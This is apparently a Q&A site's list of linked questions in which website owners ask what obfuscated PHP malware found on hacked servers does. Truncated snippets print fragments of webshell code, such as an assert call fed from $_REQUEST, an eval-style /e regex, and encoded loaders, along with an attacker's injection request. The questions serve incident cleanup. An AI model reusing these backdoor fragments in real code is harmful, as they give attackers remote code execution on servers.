Linked Questions

73
votes
5answers
24k views

Found suspicious, obfuscated PHP file. Is this a hack attempt on my website? [duplicate]

I just noticed that the top line of my index.php file got changed to what's below. <?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\...
30
votes
2answers
4k views

WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
18
votes
2answers
4k views

What does this suspicious PHP code do? [duplicate]

I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code: if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);...
13
votes
3answers
3k views

How to deobfuscate this PHP malware? [duplicate]

Two days ago a file called "images.php" appeared on a friend's server, which he noticed because it caused errors. The file contained the following. This code is of unknown origin and presumed to be ...
5
votes
2answers
4k views

Malicious code is injected to a PHP file [duplicate]

My site is built using Wordpress. One day it stopped working and found an error in one PHP file. When I downloaded that PHP file to see what happened, my antivirus (Microsoft Security Essentials) ...
1
vote
1answer
3k views

Please help me understand this PHP hack [duplicate]

We have found this on a hacked PHP webserver. It was in a single file. This file was included from somewhere else with @require. That's what we know: This site is running PHP 5.3 The site had ...
3
votes
1answer
3k views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
-3
votes
1answer
838 views

I need to decode this suspicious code and explain what it is doing? [duplicate]

$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd'; $spvgazs = Array(); $spvgazs[] = $llkas[10].$llkas[15]; $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$...
-1
votes
3answers
756 views

PHP Code Found Is It Malicious? [duplicate]

I found the following code on my website. What does it do? Is it malicious? <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $...
1
vote
2answers
592 views

Shared hosting is hacked [duplicate]

My shared hosting with GoDaddy was hacked by injecting a PHP file (deade6.php) that is recreated every time I delete it. I also tried to modify the .htaccess but it gets recreated as follows: <...
0
votes
1answer
449 views

Strange PHP file found on web server [duplicate]

I've found a very strange PHP file with a very long regexp in a customer web server. The file is named 'god.php', and this is their content: <?php preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\...
0
votes
2answers
435 views

Malicious code found - translation please? [duplicate]

An unfriendly visitor left some code on my website. Unfortunately, the coding makes it hard to understand what he wants (probably full control over my server). Any help in deciphering the actual ...
0
votes
1answer
330 views

Execution of PHP function's through HTTP GET request by hacker [duplicate]

We are continuously receiving following requests on our apache server from the hackers ?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0); @set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
2
votes
1answer
186 views

Just another suspiciously looking php script [duplicate]

My hosting blocked my website because malware, they say. I dived into the (shared) server via ssh and found a file that looks suspicious. This file was in an old, not working installation of wordpress ...
0
votes
1answer
291 views

Is this strange PHP file that I found on my server malicious? [duplicate]

I found a PHP file that I don't know where it came from on my server: <?php $ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $...
2
votes
1answer
168 views

Unknown PHP file in my upload folder, isn't malicious code? [duplicate]

Recently i found out my project got hacked and i found a script in my images folder which where a directory for user to upload their images (using file input). Here is the script that i found in the ...
0
votes
1answer
143 views

What does this malware php file does and what should be done about it? [duplicate]

Can someone please help me understand this code, what it does and what kind of encoding is it? Can this be automatically removed through ssh (there are many, many more similar files found). <?php $...
0
votes
1answer
117 views

What does the attached php malware do? [duplicate]

Found this on a WordPress server under the filename wp-includes/class-wp-image-editor-fd.php when WordFence picked it up as being an unexpected file. Link to source is here: https://pastebin.com/...
1
vote
0answers
143 views

Obfuscated PHP code found in WordPress core files and plugins [duplicate]

I am running a Wordpress website and I've recently found this php code injected in many of my php files. https://www.unphp.net/decode/fb4715ee71b28135f6807389df42611c/ I tried adding some print_r(...
1
vote
1answer
141 views

PHP Malware - deobsfucation [duplicate]

I have a php7 site that had some malware type files uploaded to it. My hosting provider notified me of it and I have removed them, but I wanted help in understanding the attack (help de-obsfucating, ...
1
vote
0answers
67 views

What's the point of this php shell? [duplicate]

What is the point of this shell code? There is no other code in the file. @preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r); $w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));} $e=...
1
vote
0answers
60 views

Bizarre php file appeared in the image gallery folder of my website [duplicate]

Can anyone tell what this is or how it could possibly have made it to the image gallery folder of my website? It appears to be a bunch of variable definitions. Mind you that a period "." is the concat ...
0
votes
0answers
58 views

How can I tell is the hidden PHP code inside of a GIf file is dangerous? [duplicate]

I'm helping out a friend with a PHP website he has been running for a few years. He is not PHP developer, so he asked if I could help him out. I download the contents of the server files onto my ...
0
votes
0answers
58 views

Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing? [duplicate]

Found suspicious, obfuscated PHP file. I assume this is a successful hack on my website? Can anyone tell me what this code is doing? fuifsaat.php <?php $hereto= '](^';$canon =':';$heroine= '(rp:L'...
2
votes
0answers
55 views

What can be done to decode/recover encoded PHP files? [duplicate]

We had a former employee handling one of our servers where XAMPP was used to host some PHP based websites. Now that employee left the organization due to some management issues. Yesterday we needed ...
1
vote
0answers
38 views

Found possible malware code on site - contacted owner - what does it do? [duplicate]

Small question. I'm trying to figure out what a piece of code does that I came across on a website I visited. The website has obviously been hacked into, as there's a bunch of minified PHP code up ...
0
votes
0answers
38 views

Hacking attempts to our server - what does this code do? [duplicate]

Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like css2.php db_model.php ....
0
votes
0answers
22 views

I found this code in my wp-content/uploads/woocommerce_uploads/wp-user-new.php [duplicate]

<?php function Gljng($ZOege, $INLWC = '') { $X_6Nm = $ZOege; $v9BZR = ''; for ($hfEHR = 0; $hfEHR < strlen($X_6Nm);) { for ($SsuGo = 0; $SsuGo < strlen($INLWC) && $hfEHR < ...
165
votes
6answers
24k views

How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are ...
60
votes
7answers
8k views

Is it safe to install malware in a VM

Is it safe to install malware in virtual machines? I would like to investigate malware, but I don't want to infect my own computer. Can I install the malware in a VMWare VM, maybe even without ...

15 30 50 per page